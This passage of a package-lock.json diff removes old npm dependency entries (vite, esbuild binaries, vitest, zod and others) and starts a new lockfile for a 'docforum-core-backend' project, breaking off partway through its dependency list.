"sha512-zLBvqpwr4Esa0kRjcrzGU6zL25lePWaCLMx0RQFrmteozIfeNdaMLpG5U7PeHzvlFkAWaRKA9/KVW4F60iB+qw==", - "license": "MIT", - "dependencies": { - "real-require": "^0.2.0" - } - }, - "node_modules/tinybench": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinyexec": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", - "integrity": "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/tinyglobby": { - "version": "0.2.17", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.4" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/tinyrainbow": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.1.tgz", - "integrity": "sha512-yau8yJdTt989Mm0Bd/236QnzEiPf2xLLTqUZRUJOo/3CB078LSwzei343DgtJVmfJKJE3TMINY1u42SQsP6mXw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "license": "MIT", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/tsx": { - "version": "4.23.13", - "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.13.tgz", - "integrity": "sha512-BL5MGkRln6aDYhb0xbQlEAGw743BaZYWdbWtdJOBriYJboKgUUYCadFp2/FpBBZquBC/ezNBn7wMMPx7FDZUDw==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "~0.28.0" - }, - "bin": { - "tsx": "dist/cli.mjs" - }, - "engines": { - "node": ">=18.0.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - } - }, - "node_modules/type-is": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", - "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", - "license": "MIT", - "dependencies": { - "content-type": "^2.0.0", - "media-typer": "^1.1.0", - "mime-types": "^3.0.0" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/type-is/node_modules/content-type": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", - "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/typescript": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-7.0.2.tgz", - "integrity": "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc" - }, - "engines": { - "node": ">=16.20.0" - }, - "optionalDependencies": { - "@typescript/typescript-aix-ppc64": "7.0.2", - "@typescript/typescript-darwin-arm64": "7.0.2", - "@typescript/typescript-darwin-x64": "7.0.2", - "@typescript/typescript-freebsd-arm64": "7.0.2", - "@typescript/typescript-freebsd-x64": "7.0.2", - "@typescript/typescript-linux-arm": "7.0.2", - "@typescript/typescript-linux-arm64": "7.0.2", - "@typescript/typescript-linux-loong64": "7.0.2", - "@typescript/typescript-linux-mips64el": "7.0.2", - "@typescript/typescript-linux-ppc64": "7.0.2", - "@typescript/typescript-linux-riscv64": "7.0.2", - "@typescript/typescript-linux-s390x": "7.0.2", - "@typescript/typescript-linux-x64": "7.0.2", - "@typescript/typescript-netbsd-arm64": "7.0.2", - "@typescript/typescript-netbsd-x64": "7.0.2", - "@typescript/typescript-openbsd-arm64": "7.0.2", - "@typescript/typescript-openbsd-x64": "7.0.2", - "@typescript/typescript-sunos-x64": "7.0.2", - "@typescript/typescript-win32-arm64": "7.0.2", - "@typescript/typescript-win32-x64": "7.0.2" - } - }, - "node_modules/uint8array-extras": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", - "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/undici-types": { - "version": "8.9.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.9.0.tgz", - "integrity": "sha512-KTDyRTYX8sWmKXAikPHHSyc63CRPETMctyjKFupcC6OBLXT3xsN0e9aF7m+mIXutFWpUXuedtowG7iLOzp0kQg==", - "license": "MIT" - }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/valibot": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.4.2.tgz", - "integrity": "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "typescript": ">=5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/vite": { - "version": "6.4.3", - "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz", - "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.25.0", - "fdir": "^6.4.4", - "picomatch": "^4.0.2", - "postcss": "^8.5.3", - "rollup": "^4.34.9", - "tinyglobby": "^0.2.13" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", - "jiti": ">=1.21.0", - "less": "*", - "lightningcss": "^1.21.0", - "sass": "*", - "sass-embedded": "*", - "stylus": "*", - "sugarss": "*", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vite/node_modules/@esbuild/aix-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/android-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/android-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/android-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/darwin-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/darwin-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/freebsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-loong64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-mips64el": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-riscv64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-s390x": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/linux-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/netbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/openbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/openharmony-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/sunos-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/win32-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/win32-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/@esbuild/win32-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/vite/node_modules/esbuild": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.12", - "@esbuild/android-arm": "0.25.12", - "@esbuild/android-arm64": "0.25.12", - "@esbuild/android-x64": "0.25.12", - "@esbuild/darwin-arm64": "0.25.12", - "@esbuild/darwin-x64": "0.25.12", - "@esbuild/freebsd-arm64": "0.25.12", - "@esbuild/freebsd-x64": "0.25.12", - "@esbuild/linux-arm": "0.25.12", - "@esbuild/linux-arm64": "0.25.12", - "@esbuild/linux-ia32": "0.25.12", - "@esbuild/linux-loong64": "0.25.12", - "@esbuild/linux-mips64el": "0.25.12", - "@esbuild/linux-ppc64": "0.25.12", - "@esbuild/linux-riscv64": "0.25.12", - "@esbuild/linux-s390x": "0.25.12", - "@esbuild/linux-x64": "0.25.12", - "@esbuild/netbsd-arm64": "0.25.12", - "@esbuild/netbsd-x64": "0.25.12", - "@esbuild/openbsd-arm64": "0.25.12", - "@esbuild/openbsd-x64": "0.25.12", - "@esbuild/openharmony-arm64": "0.25.12", - "@esbuild/sunos-x64": "0.25.12", - "@esbuild/win32-arm64": "0.25.12", - "@esbuild/win32-ia32": "0.25.12", - "@esbuild/win32-x64": "0.25.12" - } - }, - "node_modules/vitest": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.11.tgz", - "integrity": "sha512-fhACrNXUidIbGSBr5FlbuBkO7VWC1ZyLl0DO4CU2DrQoAPxX84Ysxs+HeGQpii5lZWV1Q4gBZTTu49mF+A6Edw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/expect": "4.1.11", - "@vitest/mocker": "4.1.11", - "@vitest/pretty-format": "4.1.11", - "@vitest/runner": "4.1.11", - "@vitest/snapshot": "4.1.11", - "@vitest/spy": "4.1.11", - "@vitest/utils": "4.1.11", - "es-module-lexer": "^2.0.0", - "expect-type": "^1.3.0", - "magic-string": "^0.30.21", - "obug": "^2.1.1", - "pathe": "^2.0.3", - "picomatch": "^4.0.3", - "std-env": "^4.0.0-rc.1", - "tinybench": "^2.9.0", - "tinyexec": "^1.0.2", - "tinyglobby": "^0.2.15", - "tinyrainbow": "^3.1.0", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^20.0.0 || ^22.0.0 || >=24.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@opentelemetry/api": "^1.9.0", - "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "4.1.11", - "@vitest/browser-preview": "4.1.11", - "@vitest/browser-webdriverio": "4.1.11", - "@vitest/coverage-istanbul": "4.1.11", - "@vitest/coverage-v8": "4.1.11", - "@vitest/ui": "4.1.11", - "happy-dom": "*", - "jsdom": "*", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@opentelemetry/api": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser-playwright": { - "optional": true - }, - "@vitest/browser-preview": { - "optional": true - }, - "@vitest/browser-webdriverio": { - "optional": true - }, - "@vitest/coverage-istanbul": { - "optional": true - }, - "@vitest/coverage-v8": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - }, - "vite": { - "optional": false - } - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "license": "ISC" - }, - "node_modules/xtend": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", - "license": "MIT", - "engines": { - "node": ">=0.4" - } - }, - "node_modules/zeptomatch": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/zeptomatch/-/zeptomatch-2.1.0.tgz", - "integrity": "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "grammex": "^3.1.11", - "graphmatch": "^1.1.0" - } - }, - "node_modules/zod": { - "version": "4.6.5", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.5.tgz", - "integrity": "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - } - } -} +{ + "name": "docforum-core-backend", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "docforum-core-backend", + "version": "0.0.0", + "dependencies": { + "@docforum/escrow-sdk": "https://github.com/DocForum/docforum-escrow/releases/download/sdk-v0.2.0/docforum-escrow-sdk-0.2.0.tgz", + "@prisma/adapter-pg": "^7.10.1", + "@prisma/client": "^7.10.1", + "@sendgrid/mail": "^8.1.6", + "@stellar/stellar-sdk": "^16.0.1", + "bcryptjs": "^3.0.3", + "cookie-parser": 